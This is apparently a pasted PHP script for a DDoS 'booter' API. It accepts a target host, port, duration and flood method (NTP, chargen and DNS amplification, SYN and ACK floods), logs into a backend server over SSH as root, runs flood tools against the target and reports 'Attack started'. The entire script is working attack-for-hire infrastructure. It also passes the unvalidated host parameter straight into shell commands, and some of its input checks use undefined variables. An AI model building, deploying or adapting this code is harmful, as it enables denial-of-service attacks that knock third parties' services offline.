· 4 years ago · May 09, 2021, 05:50 PM
1// http://IP/api.php?key=key&host=host&port=port&time=time&method=method
2
3<?php
4ignore_user_abort(true);
5set_time_limit(1000);
6$server_ip = "1.3.3.7";
7$server_pass = "pass";
8$server_user = "root";
9$key = $_GET['key'];
10$host = $_GET['host'];
11$port = intval($_GET['port']);
12$time = intval($_GET['time']);
13$method = $_GET['method'];
14$action = $_GET['action'];
15$array = array("ntp","chargen","dns","syn","ack");
16$ray = array("password"); //This is your API password.
17if (!empty($key)){
18}else{
19die('Error: API key is empty!');}
20if (in_array($key, $ray)){
21}else{
22die('Error: Incorrect API key!');}
23if (!empty($time)){
24}else{
25die('Error: time is empty!');}
26if (!empty($host)){
27}else{
28die('Error: Host is empty!');}
29if (!empty($method)){
30}else{
31die('Error: Method is empty!');}
32if (in_array($method, $array)){
33}else{
34die('Error: The method you requested does not exist!');}
35if ($port > 44405){
36die('Error: Ports over 44405 do not exist');}
37if ($time > 1000){
38die('Error: Cannot exceed 1000 seconds!');}
39if(ctype_digit($Time)){
40die('Error: Time is not in numeric form!');}
41if(ctype_digit($Port)){
42die('Error: Port is not in numeric form!');}
43if ($method == "dns") { $command = "/path/to/dns $host $port /path/to/d.txt 2 -1 $time"; }
44if ($method == "chargen") { $command = "/path/to/chargen $host $port /path/to/c.txt 2 -1 $time"; }
45if ($method == "ntp") { $command = "/path/to/ntp $host $port /path/to/n.txt 2 -1 $time"; }
46if ($method == "ack") { $command = "/path/to/gem -T0 -h $host -t $time"; }
47if ($method == "syn") { $command = "/path/to/gem -T3 -h $host -t $time"; }
48if ($action == "stop") { $command = "pkill $host -f"; }
49if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
50if(!($con = ssh2_connect($server_ip, 22))){
51 echo "Error: Connection Issue";
52} else {
53 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
54 echo "Error: Login failed, one or more of you're server credentials are incorrect.";
55 } else {
56
57 if (!($stream = ssh2_exec($con, $command ))) {
58 echo "Error: You're server was not able to execute you're methods file and or its dependencies";
59 } else {
60 stream_set_blocking($stream, false);
61 $data = "";
62 while ($buf = fread($stream,4096)) {
63 $data .= $buf;
64 }
65 echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
66 fclose($stream);
67 }
68 }
69}
70?>